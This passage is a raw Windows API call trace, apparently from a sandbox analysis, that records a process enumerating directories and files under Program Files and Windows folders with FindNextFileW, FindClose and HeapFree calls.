lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 0 [0074.229] FindClose (in: hFindFile=0x4260340 | out: hFindFile=0x4260340) returned 1 [0074.229] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0074.231] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INF", cAlternateFileName="")) returned 1 [0074.232] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0074.232] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0074.233] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0074.233] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f507b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~3")) returned 1 [0074.233] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0074.233] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-040C-1000-0000000FF1CE}", cAlternateFileName="{90160~4")) returned 1 [0074.233] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0074.233] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0C0A-1000-0000000FF1CE}", cAlternateFileName="{9B17A~1")) returned 1 [0074.667] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0074.668] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 1 [0074.669] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0074.669] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 0 [0074.669] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0074.669] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0074.670] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e24d55a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e24d55a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e273816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PCHEALTH", cAlternateFileName="")) returned 1 [0074.670] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0074.670] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 1 [0074.670] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0074.670] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 0 [0074.670] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0074.670] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0074.670] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e273816, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERRORREP", cAlternateFileName="")) returned 0 [0074.670] FindClose (in: hFindFile=0x4260380 | out: hFindFile=0x4260380) returned 1 [0074.670] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0074.673] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 1 [0074.674] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0074.674] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 0 [0074.674] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0074.674] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0074.674] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0074.674] FindClose (in: hFindFile=0x4260440 | out: hFindFile=0x4260440) returned 1 [0074.674] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0074.676] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 0 [0074.676] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0074.676] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ebfd0 | out: hHeap=0x6a0000) returned 1 [0074.677] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a52350, ftCreationTime.dwHighDateTime=0x1d4df1a, ftLastAccessTime.dwLowDateTime=0xfc4d8bf0, ftLastAccessTime.dwHighDateTime=0x1d52d03, ftLastWriteTime.dwLowDateTime=0xfc4d8bf0, ftLastWriteTime.dwHighDateTime=0x1d52d03, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="screensaver-fireplace.exe", cAlternateFileName="SCREEN~1.EXE")) returned 1 [0074.677] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0074.677] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e68d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1 [0074.678] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0074.678] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e8efda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClientX64", cAlternateFileName="CLIENT~1")) returned 0 [0074.678] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0074.678] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0074.678] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa7154510, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf7d369cb, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0074.682] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0074.682] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd77219, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb1a83d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xedb1a83d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="features", cAlternateFileName="")) returned 1 [0074.685] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0074.685] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdc36bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecdc36bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb5133d80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x20853ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0074.686] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0074.686] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece35df2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xed7d339e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 0 [0074.686] FindClose (in: hFindFile=0x42602c0 | out: hFindFile=0x42602c0) returned 1 [0074.686] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0074.686] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec033d59, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec033d59, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe2ca280, ftLastWriteTime.dwHighDateTime=0x1d31cde, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.manifest", cAlternateFileName="CHROME~1.MAN")) returned 1 [0074.686] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0074.686] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xeccb8639, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pref", cAlternateFileName="")) returned 0 [0074.686] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0074.686] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0074.686] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0a647c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0a647c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4504b780, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="dependentlibs.list", cAlternateFileName="DEPEND~1.LIS")) returned 1 [0074.687] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0074.687] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0cc6d9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x767d8300, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x7cdd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="firefox.exe", cAlternateFileName="")) returned 1 [0074.687] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0074.687] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec118bb8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec118bb8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x77aeb000, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="freebl3.chk", cAlternateFileName="")) returned 1 [0074.687] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0074.687] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecb87321, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="0.1", cAlternateFileName="")) returned 0 [0074.687] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0074.688] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0074.688] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec13ee02, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x78dfdd00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x139d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA2Marshal.dll", cAlternateFileName="IA2MAR~1.DLL")) returned 1 [0074.689] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0074.689] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec629cf8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec629cf8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdde50400, ftLastWriteTime.dwHighDateTime=0x1d31cdd, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="update-settings.ini", cAlternateFileName="UPDATE~1.INI")) returned 1 [0074.690] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0074.693] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709c717f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709c717f, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0077.075] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0077.075] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709ed3a7, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709ed3a7, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0077.076] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0077.076] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709ed3a7, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709ed3a7, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0077.076] FindClose (in: hFindFile=0x4260080 | out: hFindFile=0x4260080) returned 1 [0077.076] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0077.076] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709c717f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709c717f, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0077.076] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0077.076] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.076] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709c717f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709c717f, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0077.076] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0077.076] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0077.078] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709ed3a7, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709ed3a7, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709ed3a7, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0077.080] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0077.080] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9093563c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df28692, ftLastAccessTime.dwHighDateTime=0x1d327be, 